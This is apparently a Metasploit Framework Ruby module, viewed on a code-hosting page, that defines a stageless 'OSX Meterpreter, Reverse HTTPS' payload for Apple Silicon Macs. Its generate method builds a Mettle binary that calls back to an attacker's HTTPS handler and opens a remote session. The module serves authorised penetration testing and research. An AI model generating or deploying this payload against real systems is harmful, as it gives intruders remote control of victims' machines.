5f8767f4cf
This builds on Back from the dyld by adding the required aarch64 assembly code to enable the OSX loader to run on the m1. This enables the use of native payloads on M1 or M2 devices that do not have Rosetta installed.
45 lines
1.2 KiB
Ruby
45 lines
1.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
# Module generated by tools/modules/generate_mettle_payloads.rb
|
|
module MetasploitModule
|
|
|
|
CachedSize = 827315
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::MeterpreterOptions
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OSX Meterpreter, Reverse HTTPS Inline',
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
'Author' => [
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
'timwr',
|
|
'usiegl00'
|
|
],
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_AARCH64,
|
|
'License' => MSF_LICENSE,
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
|
|
)
|
|
)
|
|
end
|
|
|
|
def generate
|
|
opts = {
|
|
scheme: 'https',
|
|
stageless: true
|
|
}.merge(mettle_logging_config)
|
|
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
|
|
end
|
|
end
|